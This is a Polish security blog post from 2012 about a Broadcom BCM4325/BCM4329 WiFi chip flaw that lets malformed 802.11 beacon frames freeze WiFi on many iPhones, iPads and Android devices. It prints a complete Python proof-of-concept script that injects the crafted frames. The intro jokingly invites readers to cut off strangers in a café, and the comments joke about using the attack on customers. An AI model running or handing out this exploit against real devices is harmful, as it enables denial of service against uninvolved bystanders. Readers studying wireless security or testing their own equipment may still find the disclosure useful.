26.10.2012 | 23:14

Adam Haertle

Jak wyłączyć komuś WiFi w iPhonie, iPadzie, HTC, Motoroli, Samsungu…

Macie już dość tych wszystkich hipsterów w Starbucksie, którzy bez przerwy wysyłają na Facebooka zdjęcia kubków z kawą ze swoich pięknych telefonów i tabletów? Laptop z Backtrackiem oraz jeden krótki skrypt w Pythonie wyłączy im dostęp do sieci WiFi.

Zespół CoreLabs już w sierpniu tego roku odkrył poważny błąd w sposobie, w jaki układy firmy Broadcom, odpowiedzialne za komunikację WiFi, przetwarzają otrzymane pakiety. Okazuje się, że układy BCM4325 oraz BCM4329, montowane w wielu popularnych urządzeniach, można zawiesić, wysyłając im regularnie odpowiednio spreparowane ramki 802.11. Zawieszony układ nie potrafi wysyłać ani odbierać innych pakietów niż te wysyłane przez atakującego. DoS trwa do momentu, kiedy ramki przestaną przechodzić – wtedy urządzenia wracają do normalnego działania.

Lista urządzeń podatnych na atak jest imponująca. Obejmuje takie modele jak iPhone 3GS, iPhone 4, iPod 2G, iPod 3G, iPad Wi-Fi, iPad 3G, iPad 2, HTC Touch Pro 2, HTC Droid Incredible, HTC Nexus One, HTC Evo 4G, HTC Droid Incredible 2, Samsung Spica, Motorola Xoom, Motorola Droid X2, Samsung Galaxy Tab, Samsung Galaxy S 4G, Samsung Nexus S, Sony Ericsson Xperia Play, Nokia Lumia 800, Asus Transformer Prime oraz, uwaga, Forda Edge (tak, taki samochód z własną siecią WiFi).

Aby przeprowadzić atak wystarczy poniższyoraz urządzenie z kartą WiFi, posiadające możliwość wstrzykiwania surowych ramek 802.11. Broadcom przygotował już łatę, jednak jej dystrybucja zajmie zapewne sporo czasu. Pamiętajcie o tym następnym razem, kiedy WiFi w Waszym telefonie przestanie działać.

------------------------- poc.py -------------------------
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2

def beaconFrameGenerator():
    sequence = 0
    while(1):
        sequence = sequence % 4096

        # Frame Control
        frame  = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
        frame += '\x00' # Flags: 0
        frame += '\x00\x00' # Duration: 0
        frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
        frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
        frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
        frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
part of the generator
        # Frame Body
        frame += struct.pack('Q', time.time()) # Timestamp
        frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
        frame += '\x11\x04' # Capability Information: ESS, Privacy,
Short Slot time
        # Information Elements
        # SSID: buggy
        frame += '\x00\x05buggy'
        # Supported Rates: 1,2,5.5,11,18,24,36,54
        frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
        # DS Parameter Set: 6
        frame += '\x03\x01\x06'
        # RSN IE
        frame += '\x30' # ID: 48
        frame += '\x14' # Size: 20
        frame += '\x01\x00' # Version: 1
        frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
        frame += '\x01\x00' # Pairwise cipher suite count: 1
        frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
        frame += '\xff\xff' # Authentication suites count: 65535
        frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
        frame += '\x00\x00'

        sequence += 1
        yield frame

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:"
        print "\t%s <wireless interface>" % sys.argv[0]
        sys.exit(-1)

    iface = sys.argv[1]
    context = PyLorcon2.Context(iface)
    context.open_injmon()

    generator = beaconFrameGenerator()

    for i in range(10000):
        frame = generator.next()
        time.sleep(0.100)
        context.send_bytes(frame)
Powrót

Komentarze

  • 2012.10.27 01:33 ayo

    Ola Boga! i co teraz?!

    Odpowiedz
  • 2012.10.29 11:40 GabbaMan

    Sami restauratorzy będą pewnie z tego exploita korzystać aby wyganiać za długo siedzących, nic nie zamawiających klientów bawiących się swoimi komóreczkami ;F

    Odpowiedz
    • 2012.10.30 21:25 Wojciech Maj

      Restauratorzy to sobie po prostu router wyłączą… :)

      Odpowiedz
  • 2014.11.16 22:02 Chuj

    To jest chujowe nie dziala

    Odpowiedz

Zostaw odpowiedź do GabbaMan

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Jak wyłączyć komuś WiFi w iPhonie, iPadzie, HTC, Motoroli, Samsungu…

Komentarze